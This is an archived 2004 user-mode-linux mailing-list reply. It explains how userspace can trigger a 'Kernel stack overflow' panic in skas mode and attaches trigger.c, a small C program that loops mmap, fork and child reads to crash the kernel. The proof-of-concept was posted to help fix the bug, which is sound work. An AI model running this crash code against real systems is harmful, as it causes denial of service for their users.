linux-um archives
 help / color / mirror / Atom feed
From: azu <azu@sysgo.de>
To: user-mode-linux-devel@lists.sourceforge.net
Subject: Re: [uml-devel] bad panic "Kernel stack overflow" - demo exploit
Date: Wed, 30 Jun 2004 12:04:37 +0200	[thread overview]
Message-ID: <40E29034.7040504@sysgo.de> (raw)
In-Reply-To: <200406291604.51726.blaisorblade_spam@yahoo.it>

[-- Attachment #1: Type: text/plain, Size: 1582 bytes --]

BlaisorBlade wrote:
> Alle 13:39, lunedì 28 giugno 2004, azu ha scritto:
> 
>>Hi,
> 
> 
>>I triggered the following panic from userspace in skas mode
>>by mapping pages above 0xa0000000 ...
> 
> 
>>The check is useless in skas-mode (kernel faults get filtered
>>in segv() before handle_page_fault() is called),
>>so I added an ifdef for tt mode.
> 
> 
> This is a more sensible version of the patch (with runtime checking instead 
> that compile time), if I did not overlook anything: it must be an if(mode_tt). 
> I always compile in TT mode and normally don't use it (and sometimes UML does 
> not compile otherwise), and the patch must still work.
> 
> 
> However, I don't think this is the proper fix: please elaborate a bit more. 
> Segv() works the same way under TT and SKAS, and I think that more likely 
> there were an actual stack overflow (try to increase 
> CONFIG_KERNEL_STACK_ORDER and try to re-get the panic).
>

Paolo, your patch is the better one :-)

But it wasn't a stack overflow ...

Due to "overlapping" address spaces in skas mode,
it is possible to trigger the panic:
A userpage with the same address as current + 4096
must be valid in the vma, but not (yet) mapped to
the user:
0) addr = 0xa0000000
1) mmap a zero page to addr (valid vma) readwrite
2) fork -> mapping is now readonly
3) child writes to page
4) IF addr == current + 4096 THEN panic
5) addr += 4096
6) goto 1)

I wrote a small demo app to trigger the problem.
Limit your UML memory to 16MB or so to trigger the panic faster.



-Alex




[-- Attachment #2: trigger.c --]
[-- Type: text/x-csrc, Size: 961 bytes --]

/*
 * trigger.c - triggers panic("Kernel stack overflow") in UML
 *
 * 20040630, azu@sysgo.de
 */

#include <stdio.h>
#include <setjmp.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>

#define LOW  0xa0000000
#define HIGH 0xb0000000

int main(int argc, char **argv)
{
	unsigned long addr;
	int fd;

	fd = open("/dev/zero", O_RDWR);

	printf("This may take some time ... one more cup of coffee ...\n");

	for(addr = LOW; addr < HIGH; addr += 0x1000)
	{
		pid_t p;
		if(mmap((void*)addr, 0x1000, PROT_READ, MAP_SHARED | MAP_FIXED, fd, 0) == MAP_FAILED)
			printf("mmap failed\n");

		p = fork();
		if(p == -1)
			printf("fork failed\n");

		if(p == 0)
		{
			/* child context */
			int *p = (int *)addr;
			volatile int x;

			x = *p;
			return 0;
		}
		/* father context */
		waitpid(p, 0, 0);

		if(munmap((void*)addr, 0x1000) == -1)
			printf("munmap failed\n");
	}

	close(fd);
	printf("done\n");
}

  reply	other threads:[~2004-06-30  9:59 UTC|newest]

Thread overview: 11+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2004-06-28 11:39 [uml-devel] Patch for arch/um/kernel/trap_kern.c to fix bad panic azu
2004-06-29 18:34 ` BlaisorBlade
2004-06-30 10:04   ` azu [this message]
2004-07-01 12:01     ` [uml-devel] bad panic "Kernel stack overflow" - demo exploit BlaisorBlade
2004-07-01 13:34     ` BlaisorBlade
2004-07-01 17:57       ` Alex Züpke
2004-07-01 19:33         ` BlaisorBlade
2004-07-03 18:25           ` BlaisorBlade
2004-08-17 15:40             ` BlaisorBlade
2004-08-20 15:09               ` Jeff Dike
2004-09-05 16:41                 ` BlaisorBlade

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=40E29034.7040504@sysgo.de \
    --to=azu@sysgo.de \
    --cc=user-mode-linux-devel@lists.sourceforge.net \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox